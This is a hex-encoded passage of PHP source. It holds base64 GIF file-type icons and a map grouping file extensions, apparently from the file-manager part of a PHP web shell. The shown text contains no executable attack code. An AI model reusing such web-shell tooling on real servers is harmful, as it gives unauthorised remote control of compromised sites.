2E 0A 22 34 72 66 57 2B 4E 58 65 36 4F 62 79 2F 35 53 76 7A 57 53 48 72 2B 62 72 38 57 75 4B 72 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 22 2E 0A 22 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 22 2E 0A 22 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 22 2E 0A 22 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 22 2E 0A 22 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 22 2E 0A 22 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 22 2E 0A 22 41 41 6A 67 41 43 73 4A 72 44 52 48 53 49 43 44 51 37 49 4D 58 44 67 4A 78 38 45 76 5A 75 49 63 62 50 42 6F 6F 5A 77 62 42 77 4F 4D 41 66 4D 6D 59 77 42 43 41 32 73 45 63 4E 42 6A 4A 43 4D 59 41 54 4C 49 4F 4C 69 6F 6B 6F 63 6D 22 2E 0A 22 43 31 51 73 6B 41 43 6C 43 78 63 47 42 6A 37 45 73 4E 48 6F 51 41 63 69 53 43 43 31 6D 4E 41 6D 6A 4A 67 47 47 45 42 51 6F 42 48 69 67 4B 45 4E 42 6A 68 63 43 42 41 49 7A 52 6F 47 46 6B 77 51 4D 4E 4B 6E 79 67 67 52 53 52 41 67 22 2E 0A 22 32 42 48 70 44 42 55 65 65 77 52 56 30 50 44 48 43 70 34 42 53 67 6A 77 30 5A 47 48 7A 4A 51 63 45 56 44 34 49 45 48 4A 7A 59 6B 42 66 6F 34 73 65 59 47 6C 44 42 77 67 54 43 41 41 59 76 46 45 34 4B 45 42 4A 59 49 34 55 72 50 46 22 2E 0A 22 43 79 49 49 4B 2B 77 6F 59 6A 4D 77 51 51 49 36 43 6F 72 38 6D 4B 45 6E 78 52 30 6E 41 68 59 4B 6A 48 4A 46 51 59 45 43 6B 71 53 6B 53 61 31 36 34 49 4D 36 4C 68 4C 52 72 72 33 77 77 61 42 43 75 33 6B 50 46 4B 43 6C 64 6B 41 41 22 2E 0A 22 4F 77 3D 3D 22 2C 0A 22 65 78 74 5F 64 6F 63 22 3D 3E 0A 22 52 30 6C 47 4F 44 6C 68 45 41 41 51 41 43 49 41 41 43 48 35 42 41 45 41 41 41 55 41 4C 41 41 41 41 41 41 51 41 42 41 41 67 67 41 41 41 50 2F 2F 2F 38 44 41 77 41 41 41 2F 34 43 41 67 41 41 41 41 41 41 41 41 41 41 41 41 41 4E 52 22 2E 0A 22 57 45 72 63 72 72 43 51 51 43 73 6C 51 41 32 77 4F 77 64 58 6B 49 46 57 4E 56 42 41 2B 6E 6D 65 34 41 5A 43 75 6F 6C 6E 52 77 6B 77 46 39 51 67 45 4F 50 41 46 47 32 31 41 2B 5A 34 73 51 48 4F 39 34 72 31 65 4A 52 54 4A 56 6D 71 22 2E 0A 22 4D 49 4F 72 72 50 53 57 57 5A 52 63 7A 61 36 6B 61 6F 6C 42 43 4F 42 30 57 6F 78 52 75 64 30 4A 41 44 73 3D 22 2C 0A 22 65 78 74 5F 65 78 65 22 3D 3E 0A 22 52 30 6C 47 4F 44 6C 68 45 77 41 4F 41 4B 49 41 41 41 41 41 41 50 2F 2F 2F 77 41 41 76 63 62 47 78 6F 53 45 68 50 2F 2F 2F 77 41 41 41 41 41 41 41 43 48 35 42 41 45 41 41 41 55 41 4C 41 41 41 41 41 41 54 41 41 34 41 41 41 4D 37 22 2E 0A 22 57 4C 54 63 54 69 57 53 51 61 75 74 42 45 51 31 68 50 2B 67 6C 32 31 54 4B 41 51 41 69 6F 37 53 38 4C 78 61 47 38 78 30 50 62 4F 63 72 51 66 34 74 4E 75 39 77 61 38 57 48 4E 4B 4B 52 6C 34 73 6C 2B 79 39 59 42 75 41 64 45 71 74 22 2E 0A 22 78 68 49 41 4F 77 3D 3D 22 2C 0A 22 65 78 74 5F 68 22 3D 3E 0A 22 52 30 6C 47 4F 44 6C 68 45 41 41 51 41 43 49 41 41 43 48 35 42 41 45 41 41 41 55 41 4C 41 41 41 41 41 41 51 41 42 41 41 67 76 2F 2F 2F 77 41 41 41 41 41 41 67 49 43 41 67 4D 44 41 77 41 41 41 41 41 41 41 41 41 41 41 41 41 4E 42 22 2E 0A 22 57 4C 50 63 39 58 43 41 53 53 63 5A 38 4D 6C 4B 43 63 41 52 52 77 56 6B 45 41 4B 43 49 42 4B 6D 4E 71 56 72 71 37 77 70 62 4D 6D 62 62 62 4F 6E 72 67 49 38 46 2B 71 33 77 39 47 4F 51 4F 4D 51 47 5A 79 4A 4F 73 70 6E 4D 6B 4B 6F 22 2E 0A 22 57 71 2F 4E 6B 6E 62 62 53 67 41 41 4F 77 3D 3D 22 2C 0A 22 65 78 74 5F 68 70 70 22 3D 3E 0A 22 52 30 6C 47 4F 44 6C 68 45 41 41 51 41 43 49 41 41 43 48 35 42 41 45 41 41 41 55 41 4C 41 41 41 41 41 41 51 41 42 41 41 67 76 2F 2F 2F 77 41 41 41 41 41 41 67 49 43 41 67 4D 44 41 77 41 41 41 41 41 41 41 41 41 41 41 41 41 4E 46 22 2E 0A 22 57 4C 50 63 39 58 43 41 53 53 63 5A 38 4D 6C 4B 69 63 6F 62 42 77 52 6B 45 41 47 43 49 41 4B 45 71 61 46 71 70 62 5A 6E 6D 6B 34 32 2F 64 34 33 79 72 6F 4B 6D 4C 41 44 6C 50 42 69 73 36 4C 77 4B 4E 41 46 6A 37 6A 66 61 57 56 52 22 2E 0A 22 55 71 55 61 67 6E 62 4C 64 5A 61 2B 59 46 63 43 41 44 73 3D 22 2C 0A 22 65 78 74 5F 68 74 61 63 63 65 73 73 22 3D 3E 0A 22 52 30 6C 47 4F 44 6C 68 45 41 41 51 41 43 49 41 41 43 48 35 42 41 45 41 41 41 59 41 4C 41 41 41 41 41 41 51 41 42 41 41 67 67 41 41 41 50 38 41 41 50 38 41 2F 77 41 41 67 49 41 41 67 50 2F 2F 41 41 41 41 41 41 41 41 41 41 4D 36 22 2E 0A 22 57 45 58 57 2F 6B 36 52 41 47 73 6A 6D 46 6F 59 67 4E 42 62 45 77 6A 44 42 32 35 64 47 5A 7A 56 43 4B 67 73 52 38 4C 68 53 6E 70 72 50 51 34 30 36 70 61 66 6D 6B 44 77 55 75 6D 49 76 4A 42 6F 52 41 41 41 6C 45 75 44 45 77 70 4A 22 2E 0A 22 41 41 41 37 22 2C 0A 22 65 78 74 5F 68 74 6D 6C 22 3D 3E 0A 22 52 30 6C 47 4F 44 6C 68 45 77 41 51 41 4C 4D 41 41 41 41 41 41 50 2F 2F 2F 32 74 72 6E 4D 33 50 2F 46 42 56 68 72 50 4F 39 6C 36 49 74 6F 79 74 30 79 68 67 6B 2B 58 79 2F 57 47 70 34 73 58 6C 2F 69 36 5A 34 6D 66 64 2F 48 4E 7A 22 2E 0A 22 63 2F 2F 2F 2F 79 48 35 42 41 45 41 41 41 38 41 4C 41 41 41 41 41 41 54 41 42 41 41 41 41 53 54 38 4D 6C 33 71 71 31 6D 36 6E 6D 43 2F 34 47 68 62 46 6F 58 4A 45 4F 31 43 41 4E 44 53 6F 63 69 47 6B 62 41 43 48 69 32 30 55 33 50 22 2E 0A 22 4B 49 46 47 49 6A 41 51 4F 44 53 69 42 57 4F 35 4E 41 78 52 52 6D 54 67 67 44 67 6B 6D 4D 37 45 36 69 69 70 48 5A 59 4B 42 56 4E 51 53 42 53 69 6B 75 6B 53 77 57 34 6A 79 6D 63 75 70 59 46 67 49 42 71 4C 2F 4D 4B 38 4B 42 44 6B 22 2E 0A 22 42 6B 78 32 42 58 57 44 66 58 38 54 44 44 61 46 44 41 30 4B 42 41 64 39 66 6E 49 4B 48 58 59 49 42 4A 67 48 42 51 4F 48 63 67 2B 56 43 69 6B 56 41 35 77 4C 70 59 67 62 42 4B 75 72 44 71 79 73 6E 78 4D 4F 73 37 53 31 73 78 49 52 22 2E 0A 22 41 44 73 3D 22 2C 0A 22 65 78 74 5F 6A 70 67 22 3D 3E 0A 22 52 30 6C 47 4F 44 6C 68 45 41 41 51 41 44 4D 41 41 43 48 35 42 41 45 41 41 41 6B 41 4C 41 41 41 41 41 41 51 41 42 41 41 67 77 41 41 41 50 2F 2F 2F 38 44 41 77 49 43 41 67 49 43 41 41 50 38 41 41 41 44 2F 41 49 41 41 41 41 43 41 22 2E 0A 22 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 52 63 63 4D 68 4A 6B 37 30 6A 36 4B 33 46 75 46 62 47 62 55 4C 77 4A 63 55 68 6A 67 48 67 41 6B 55 71 45 67 4A 4E 45 45 41 67 78 45 63 69 22 2E 0A 22 43 69 38 41 4C 73 41 4C 61 58 43 47 4A 4B 35 6F 31 41 47 53 42 73 49 41 63 41 42 67 6A 67 43 45 77 41 4D 45 58 70 30 42 42 4D 4C 6C 2F 41 36 78 35 57 5A 74 50 66 51 32 67 36 2B 30 6A 38 56 78 2B 37 62 34 2F 4E 5A 71 67 66 74 64 22 2E 0A 22 46 78 45 41 4F 77 3D 3D 22 2C 0A 22 65 78 74 5F 6A 73 22 3D 3E 0A 22 52 30 6C 47 4F 44 64 68 45 41 41 51 41 43 49 41 41 43 77 41 41 41 41 41 45 41 41 51 41 49 4C 2F 2F 2F 38 41 41 41 43 41 67 49 44 41 77 4D 44 2F 2F 77 43 41 67 41 41 41 41 41 41 41 41 41 41 44 55 43 69 36 33 43 45 67 78 69 62 48 22 2E 0A 22 6B 30 41 51 73 47 32 30 30 41 51 55 4A 42 67 41 6F 4D 69 68 6A 35 64 6D 49 78 6E 4D 4A 78 74 71 71 31 64 64 45 30 45 57 4F 68 73 47 31 36 6D 39 4D 6F 6F 41 69 53 57 45 6D 54 69 75 43 34 54 77 32 42 42 30 4C 38 46 67 49 41 68 73 22 2E 0A 22 61 30 30 41 6A 59 59 42 62 63 2F 6F 39 48 6A 4E 6E 69 55 41 41 44 73 3D 22 2C 0A 22 65 78 74 5F 6C 6E 6B 22 3D 3E 0A 22 52 30 6C 47 4F 44 6C 68 45 41 41 51 41 47 59 41 41 43 48 35 42 41 45 41 41 46 41 41 4C 41 41 41 41 41 41 51 41 42 41 41 68 67 41 41 41 41 42 69 41 47 50 4C 4D 6D 58 4D 4D 30 79 2F 4A 6C 66 46 4C 46 53 36 4B 31 72 47 4C 57 6A 4F 22 2E 0A 22 4E 53 6D 75 46 54 57 7A 47 6B 43 35 49 47 33 54 4F 6F 2F 31 58 45 37 41 4A 78 32 6F 44 35 58 37 59 6F 54 71 55 59 72 77 56 33 2F 6C 54 48 54 61 51 58 6E 66 52 6D 44 47 4D 59 58 72 55 6A 4B 51 48 77 41 4D 41 47 66 4E 52 48 7A 69 22 2E 0A 22 55 77 77 35 43 41 41 71 41 44 4F 5A 47 6B 61 73 4C 58 4C 59 51 67 68 49 42 42 4E 33 44 56 47 32 4E 57 6E 50 52 6E 44 57 52 77 42 4F 41 42 35 77 46 51 42 42 41 41 41 2B 41 46 47 33 4E 41 6B 35 42 53 47 48 45 55 71 77 4D 41 42 6B 22 2E 0A 22 41 41 41 67 41 41 41 77 41 41 42 66 41 44 65 30 47 78 65 4C 43 78 5A 63 44 45 4B 36 49 55 75 78 4B 46 6A 46 4C 45 33 41 4A 32 48 48 4D 52 4B 69 43 51 57 43 41 67 42 6D 41 42 70 74 44 67 2B 48 43 42 5A 65 44 41 71 46 42 57 44 47 22 2E 0A 22 4D 79 6D 55 46 51 70 57 42 6A 32 66 4A 68 64 76 44 51 68 4F 42 43 36 58 46 33 66 64 52 30 4F 36 49 52 32 4F 44 77 41 5A 41 48 50 5A 51 43 53 52 45 67 41 53 41 44 61 58 48 77 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 22 2E 0A 22 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 22 2E 0A 22 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 22 2E 0A 22 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 65 5A 67 46 42 51 50 41 47 46 68 6F 63 41 67 6F 49 37 4F 67 38 4A 43 67 73 45 42 51 49 57 50 51 43 4A 67 6B 43 4F 6B 4A 4B 55 50 35 65 59 55 44 36 50 6B 5A 4D 35 22 2E 0A 22 4E 4B 43 4B 55 44 4D 79 4E 54 67 33 41 67 67 32 53 35 65 71 55 45 70 4A 44 67 63 44 43 41 78 4D 54 30 36 68 67 6B 32 36 76 41 77 55 46 55 68 44 74 59 70 43 75 77 5A 42 79 42 4D 52 52 4D 79 43 52 77 4D 47 52 6B 55 67 30 78 49 66 22 2E 0A 22 31 6C 41 65 42 69 45 41 47 52 67 58 45 67 30 74 34 53 77 72 6F 43 59 6C 44 52 41 6E 34 53 6D 70 4B 43 6F 51 4A 43 2F 68 71 56 41 75 4E 47 7A 67 38 45 39 52 4B 42 45 6A 59 42 53 30 4A 53 68 47 68 34 55 4D 6F 59 41 53 42 69 55 51 22 2E 0A 22 41 44 73 3D 22 2C 0A 22 65 78 74 5F 6C 6F 67 22 3D 3E 0A 22 52 30 6C 47 4F 44 6C 68 45 41 41 51 41 44 4D 41 41 43 48 35 42 41 45 41 41 41 67 41 4C 41 41 41 41 41 41 51 41 42 41 41 67 2F 2F 2F 2F 77 41 41 41 4D 44 41 77 49 43 41 67 49 43 41 41 41 41 41 67 41 41 41 2F 2F 2F 2F 41 41 41 41 22 2E 0A 22 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 52 51 45 4B 45 77 4B 36 55 79 42 7A 43 34 37 35 67 45 41 6C 74 4A 6B 6C 4C 52 41 57 7A 62 43 6C 52 68 72 4B 34 4C 79 35 79 67 37 2F 77 4E 22 2E 0A 22 7A 4C 55 61 4C 47 42 51 42 56 32 45 67 46 4C 56 34 78 45 4F 53 53 57 74 39 67 51 51 42 70 52 70 71 78 6F 56 4E 61 50 4B 6B 46 62 35 45 68 2F 4C 6D 55 47 7A 46 35 71 45 33 2B 45 4D 49 67 49 41 4F 77 3D 3D 22 2C 0A 22 65 78 74 5F 70 68 70 22 3D 3E 0A 22 52 30 6C 47 4F 44 6C 68 45 41 41 51 41 41 41 41 41 43 48 35 42 41 45 41 41 41 45 41 4C 41 41 41 41 41 41 51 41 42 41 41 67 41 41 41 41 41 41 41 41 41 49 6D 44 41 36 68 79 35 72 57 30 48 47 6F 73 66 66 73 64 54 70 71 76 46 6C 67 22 2E 0A 22 74 30 68 6B 79 5A 33 51 36 71 6C 6F 5A 37 4A 69 6D 6F 6D 56 45 62 2B 75 58 41 41 41 4F 77 3D 3D 22 2C 0A 22 65 78 74 5F 70 6C 22 3D 3E 0A 22 52 30 6C 47 4F 44 6C 68 46 41 41 55 41 4B 4C 2F 41 50 2F 34 2F 38 44 41 77 48 39 2F 41 50 2F 34 41 4C 2B 2F 76 77 41 41 41 41 41 41 41 41 41 41 41 43 48 35 42 41 45 41 41 41 45 41 4C 41 41 41 41 41 41 55 41 42 51 41 51 41 4D 6F 22 2E 0A 22 47 4C 72 63 33 67 4F 41 4D 59 52 34 4F 4F 75 64 72 65 65 67 52 6C 42 57 53 4A 31 6C 71 4B 35 73 36 34 4C 6A 57 46 33 63 51 4D 6A 70 4A 70 44 66 36 2F 2F 41 42 41 41 37 22 2C 0A 22 65 78 74 5F 73 77 66 22 3D 3E 0A 22 52 30 6C 47 4F 44 6C 68 46 41 41 55 41 4D 51 52 41 50 2B 63 6E 50 39 53 55 73 34 41 41 50 2B 63 41 50 2F 4F 41 49 51 41 41 50 39 6A 41 4D 35 6A 6E 4D 36 63 59 38 36 63 6E 4B 58 4F 39 38 62 65 78 70 77 41 41 50 38 78 41 50 2F 4F 22 2E 0A 22 6E 41 41 41 41 50 2F 2F 2F 2F 2F 2F 2F 77 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 43 48 35 42 41 45 41 22 2E 0A 22 41 42 45 41 4C 41 41 41 41 41 41 55 41 42 51 41 41 41 56 37 59 43 53 4F 5A 47 6D 65 36 50 6D 73 62 4D 75 71 55 43 7A 50 30 41 50 4C 7A 68 41 62 75 50 6E 51 41 77 65 45 35 32 67 30 66 44 4B 43 4D 47 67 6F 4F 6D 34 51 42 34 47 41 22 2E 0A 22 47 42 67 61 54 32 67 4D 51 59 67 56 6A 55 66 53 54 33 59 6F 46 47 4B 42 52 67 42 71 50 6A 67 59 44 45 46 78 58 52 70 44 47 45 49 41 34 78 41 51 51 4E 52 31 4E 48 6F 4D 45 41 41 43 41 42 46 68 49 7A 38 72 43 6E 63 4D 41 47 67 43 22 2E 0A 22 4E 79 73 4C 6B 44 4F 54 53 43 73 4A 4E 44 4A 61 6E 54 55 71 4C 71 4D 32 4B 61 61 6E 71 42 45 68 41 44 73 3D 22 2C 0A 22 65 78 74 5F 74 61 72 22 3D 3E 0A 22 52 30 6C 47 4F 44 6C 68 45 41 41 51 41 47 59 41 41 43 48 35 42 41 45 41 41 45 73 41 4C 41 41 41 41 41 41 51 41 42 41 41 68 67 41 41 41 42 6C 4F 41 46 67 64 41 46 41 41 41 49 59 43 55 77 41 38 5A 77 41 38 5A 39 44 59 34 4A 49 43 22 2E 0A 22 57 76 2F 2F 2F 77 43 49 57 42 45 32 41 41 41 79 55 4A 69 63 71 49 53 48 6C 34 43 41 41 50 44 34 2F 2B 44 67 38 50 58 36 2F 35 4F 58 70 4C 37 48 30 2B 2F 32 2F 61 47 6D 73 54 49 79 4D 74 54 63 35 50 2F 2F 73 66 4C 35 2F 38 58 46 22 2E 0A 22 48 67 42 59 70 77 42 55 6C 67 42 57 6E 31 42 51 41 47 38 61 49 41 42 51 68 52 62 66 6D 77 44 63 6B 76 2B 48 31 31 6E 6F 75 45 4C 6C 72 69 7A 69 70 66 2B 56 33 6E 50 41 2F 34 30 43 55 7A 6D 6D 2F 77 41 34 58 68 56 44 41 41 47 44 22 2E 0A 22 55 79 57 64 2F 30 69 74 2F 31 75 31 2F 33 4E 7A 41 50 39 35 30 50 39 39 30 6D 4F 35 2F 37 76 31 34 59 7A 76 7A 58 4C 72 77 6F 58 49 2F 35 76 53 2F 37 44 6B 2F 77 42 58 6F 76 39 73 79 76 52 6A 77 4F 68 61 74 51 43 48 56 31 37 70 22 2E 0A 22 75 6F 30 47 55 51 42 57 6E 50 2B 2B 38 4C 6D 35 41 50 2B 6A 35 51 42 55 6C 41 43 4B 57 67 41 34 62 6A 4A 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 22 2E 0A 22 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 22 2E 0A 22 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 22 2E 0A 22 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 65 65 67 41 4B 43 67 34 53 46 53 78 59 4E 45 77 34 67 4D 67 53 4F 6A 34 38 44 46 41 63 48 45 55 49 5A 52 45 59 6F 4A 44 51 7A 50 54 34 2F 41 77 63 51 43 51 6B 67 22 2E 0A 22 47 77 69 70 71 71 6B 71 41 78 49 61 46 52 67 58 44 77 4F 31 74 72 63 41 75 62 71 37 76 49 65 4A 44 69 77 68 42 63 50 45 78 41 79 54 6C 53 45 5A 4F 7A 6F 35 4B 54 55 78 4D 43 73 76 44 4B 4F 6C 53 52 73 63 48 44 77 65 48 6B 4D 64 22 2E 0A 22 48 55 63 4D 72 37 47 7A 42 75 66 6F 36 41 79 38 37 4C 75 2B 69 69 30 66 41 66 50 30 39 41 76 49 45 52 38 5A 4E 6A 63 34 51 53 55 6D 54 6F 67 59 73 63 42 61 41 69 56 46 6B 43 68 59 79 42 43 49 69 77 58 6B 5A 44 32 6F 52 33 46 42 22 2E 0A 22 75 34 74 4C 41 67 45 41 4F 77 3D 3D 22 2C 0A 22 65 78 74 5F 74 78 74 22 3D 3E 0A 22 52 30 6C 47 4F 44 6C 68 45 77 41 51 41 4B 49 41 41 41 41 41 41 50 2F 2F 2F 38 62 47 78 6F 53 45 68 50 2F 2F 2F 77 41 41 41 41 41 41 41 41 41 41 41 43 48 35 42 41 45 41 41 41 51 41 4C 41 41 41 41 41 41 54 41 42 41 41 41 41 4E 4A 22 2E 0A 22 53 41 72 45 33 6C 44 4A 46 6B 61 39 31 72 4B 70 41 2F 44 67 4A 33 4A 42 61 5A 36 6C 73 43 6B 57 36 71 71 6B 42 34 6A 7A 46 38 42 53 36 35 34 34 57 39 5A 41 57 34 2B 67 32 36 56 57 78 46 39 77 64 6F 77 5A 6D 7A 6E 6C 45 75 70 37 22 2E 0A 22 55 70 50 57 47 33 49 67 36 48 71 2F 58 6D 52 6A 75 5A 77 6B 41 41 41 37 22 2C 0A 22 65 78 74 5F 77 72 69 22 3D 3E 0A 22 52 30 6C 47 4F 44 6C 68 45 41 41 51 41 44 4D 41 41 43 48 35 42 41 45 41 41 41 67 41 4C 41 41 41 41 41 41 51 41 42 41 41 67 2F 2F 2F 2F 77 41 41 41 49 43 41 67 4D 44 41 77 49 43 41 41 41 41 41 67 41 41 41 2F 2F 2F 2F 41 41 41 41 22 2E 0A 22 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 52 52 55 4D 68 4A 6B 62 30 43 36 4B 32 48 75 45 69 52 63 64 73 41 66 4B 45 78 6B 6B 44 67 42 6F 56 78 73 74 77 41 41 79 70 64 75 6F 61 6F 22 2E 0A 22 61 34 53 58 54 30 63 34 42 46 30 72 55 68 46 41 45 41 51 51 49 39 64 6D 65 62 52 45 57 38 79 58 43 36 4E 78 32 51 49 37 4C 72 59 62 74 70 4A 5A 4E 73 78 67 7A 57 36 6E 4C 64 71 34 39 68 49 42 41 44 73 3D 22 2C 0A 22 65 78 74 5F 78 6D 6C 22 3D 3E 0A 22 52 30 6C 47 4F 44 6C 68 45 41 41 51 41 45 51 41 41 43 48 35 42 41 45 41 41 42 41 41 4C 41 41 41 41 41 41 51 41 42 41 41 68 50 2F 2F 2F 77 41 41 41 50 48 78 38 59 61 47 68 6A 4E 6D 6D 61 62 4B 38 41 41 41 6D 51 41 41 67 41 43 41 22 2E 0A 22 67 44 4F 5A 41 44 4E 6D 2F 7A 4F 5A 2F 7A 50 2F 2F 38 44 41 77 44 50 4D 2F 77 41 41 2F 77 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 22 2E 0A 22 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 56 6B 34 43 43 4F 70 41 69 64 30 41 43 73 62 4E 73 4D 71 4E 71 75 41 69 41 30 41 4A 7A 53 64 6C 38 48 77 4D 42 4F 55 4B 67 68 45 41 70 62 45 53 42 55 46 51 77 41 42 49 43 78 22 2E 0A 22 4F 41 41 4D 78 65 62 54 68 6D 41 34 45 6F 63 61 74 67 6E 59 4B 68 61 4A 68 78 55 72 49 42 4E 72 68 37 6A 79 74 2F 50 5A 61 2B 30 68 59 63 2F 6E 30 32 56 34 64 7A 5A 75 66 59 56 2F 50 49 47 4A 62 6F 4B 42 51 6B 47 50 6B 45 45 51 22 2E 0A 22 49 51 41 37 22 0A 20 29 3B 0A 20 2F 2F 46 6F 72 20 73 69 6D 70 6C 65 20 73 69 7A 65 2D 20 61 6E 64 20 73 70 65 65 64 2D 6F 70 74 69 6D 69 7A 61 74 69 6F 6E 2E 0A 20 24 69 6D 67 65 71 75 61 6C 73 20 3D 20 61 72 72 61 79 28 0A 20 20 22 65 78 74 5F 74 61 72 22 3D 3E 61 72 72 61 79 28 22 65 78 74 5F 74 61 72 22 2C 22 65 78 74 5F 72 30 30 22 2C 22 65 78 74 5F 61 63 65 22 2C 22 65 78 74 5F 61 72 6A 22 2C 22 65 78 74 5F 62 7A 22 2C 22 65 78 74 5F 62 7A 32 22 2C 22 65 78 74 5F 74 62 7A 22 2C 22 65 78 74 5F 74 62 7A 32 22 2C 22 65 78 74 5F 74 67 7A 22 2C 22 65 78 74 5F 75 75 22 2C 22 65 78 74 5F 78 78 65 22 2C 22 65 78 74 5F 7A 69 70 22 2C 22 65 78 74 5F 63 61 62 22 2C 22 65 78 74 5F 67 7A 22 2C 22 65 78 74 5F 69 73 6F 22 2C 22 65 78 74 5F 6C 68 61 22 2C 22 65 78 74 5F 6C 7A 68 22 2C 22 65 78 74 5F 70 62 6B 22 2C 22 65 78 74 5F 72 61 72 22 2C 22 65 78 74 5F 75 75 66 22 29 2C 0A 20 20 22 65 78 74 5F 70 68 70 22 3D 3E 61 72 72 61 79 28 22 65 78 74 5F 70 68 70 22 2C 22 65 78 74 5F 70 68 70 33 22 2C 22 65 78 74 5F 70 68 70 34 22 2C 22 65 78 74 5F 70 68 70 35 22 2C 22 65 78 74 5F 70 68 74 6D 6C 22 2C 22 65 78 74 5F 73 68 74 6D 6C 22 2C 22 65 78 74 5F 68 74 6D 22 29 2C 0A 20 20 22 65 78 74 5F 6A 70 67 22 3D 3E 61 72 72 61 79 28 22 65 78 74 5F 6A 70 67 22 2C 22 65 78 74 5F 67 69 66 22 2C 22 65 78 74 5F 70 6E 67 22 2C 22 65 78 74 5F 6A 70 65 67 22 2C 22 65 78 74 5F 6A 66 69 66 22 2C 22 65 78 74 5F 6A 70 65 22 2C 22 65 78 74 5F 62 6D 70 22 2C 22 65 78 74 5F 69 63 6F 22 2C 22 65 78 74 5F 74 69 66 22 2C 22 74 69 66 66 22 29 2C 0A 20 20 22 65 78 74 5F 68 74 6D 6C 22 3D 3E 61 72 72 61 79 28 22 65 78 74 5F 68 74 6D 6C 22 2C 22 65 78 74 5F 68 74 6D 22 29 2C 0A 20 20 22 65 78 74 5F 61 76 69 22 3D 3E 61 72 72 61 79 28 22 65 78 74 5F 61 76 69 22 2C 22 65 78 74 5F 6D 6F 76 22 2C 22 65 78 74 5F 6D 76 69 22 2C 22 65 78 74 5F 6D 70 67 22 2C 22 65 78 74 5F 6D 70 65 67 22 2C 22 65 78 74 5F 77 6D 76 22 2C 22 65 78 74 5F 72 6D 22 29 2C 0A 20 20 22 65 78 74 5F 6C 6E 6B 22 3D 3E 61 72 72 61 79 28 22 65 78 74 5F 6C 6E 6B 22 2C 22 65 78 74 5F 75 72 6C 22 29 2C 0A 20 20 22 65 78 74 5F 69 6E 69 22 3D 3E 61 72 72 61 79 28 22 65 78 74 5F 69 6E 69 22 2C 22 65 78 74 5F 63 73 73 22 2C 22 65 78 74 5F 69 6E 66 22 29 2C 0A 20 20 22 65 78 74 5F 64 6F 63 22 3D 3E 61 72 72 61 79 28 22 65 78 74 5F 64 6F 63 22 2C 22 65 78 74 5F 64 6F 74 22 29 2C 0A 20 20 22 65 78 74 5F 6A 73 22 3D 3E 61 72 72 61 79 28 22 65 78 74 5F 6A 73 22 2C 22 65 78 74 5F 76 62 73 22 29 2C 0A 20 20 22 65 78 74 5F 63 6D 64 22 3D 3E 61 72 72 61 79 28 22 65 78 74 5F 63 6D 64 22 2C 22 65 78 74 5F 62 61 74 22 2C 22 65 78 74 5F 70 69 66 22 29 2C 0A 20 20 22 65 78 74 5F 77 72 69 22 3D 3E 